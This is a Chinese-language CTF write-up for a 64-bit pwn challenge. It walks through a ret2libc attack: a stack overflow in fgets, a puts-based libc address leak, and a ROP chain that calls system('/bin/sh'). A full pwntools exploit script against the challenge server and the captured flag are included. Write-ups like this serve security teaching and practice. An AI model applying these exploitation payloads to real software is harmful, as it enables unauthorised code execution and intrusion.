检查一下:
64 位程序,开启 NX 保护
ida 反编译看 main 函数
fgets 存在栈溢出
程序本身无 /bin/sh 字符串
也没有 system 函数
并且给了 so 文件,开启 NX 保护,我们考虑打 ret2libc
利用思路:
利用 puts 函数泄露 puts 函数的真实地址,然后计算 libc 基址
进而我们就可以获取到 system 函数和 /bin/sh 字符串的地址了
先测一下偏移:
offset = 40
因为 puts 函数就一个参数,我们这里只需要用到 rdi 寄存器
由于可能还需要平衡堆栈,我们把 ret 的地址也记录一下
pop_rdi = 0x400753
ret_addr = 0x40050e
构造 payload:
payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
关于 payload 的详细解释:
首先,溢出后返回到我们的 gadget: pop rdi ;ret
此时 rip 指向 pop rdi ,rsp 指向 puts 函数的真实地址
pop rdi ,puts 函数的真实地址出栈到 rdi
接下来 ret,我们继续调用 puts 函数,打印出其真实地址
puts 函数调用结束,返回到 main 函数
因为我们还需要再次执行 fgets 函数溢出,进而去执行 system 函数
为什么不能直接跳到 fgets 函数而是要跳到 main函数?
我们可以看一下,在 call fgets,main 函数会对 rdi、rsi、rdx 三个寄存器进行设置
如果我们直接在调用 puts 函数后跳过去,用的就是当下寄存器的值
由于寄存器是通用的,执行其他代码肯定会变的,rdi 都不一定是指向 s
所以我们需要跳到 main 函数
构造 payload2:
payload2 = cyclic(offset) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
同样先溢出,将 system 函数的参数 /bin/sh 弹入 rdi 寄存器
平栈后,调用 system 函数,即可 getshell
也是调试了一会儿,特别注意这里 64 位程序需要堆栈平衡才能打通
完整 exp:
# @author:My6n
# @time:20250520
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node5.buuoj.cn',25448)
elf = ELF('./pwn')
offset = 40
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x400698
pop_rdi = 0x400753
ret_addr = 0x40050e
payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
#gdb.attach(io)
#pause()
io.sendlineafter('Glad to meet you again!What u bring to me this time?',payload1)
#io.recvuntil('Ok.See you!')
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = ELF('./libc-2.31.so')
#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#system_addr = libc_base + libc.dump('system')
#bin_sh_addr = libc_base + libc.dump('str_bin_sh')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
payload2 = cyclic(offset) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
没有问题,拿到 flag:
flag{4c8eba59-4153-44ab-b5a9-1fa0710b5ba4}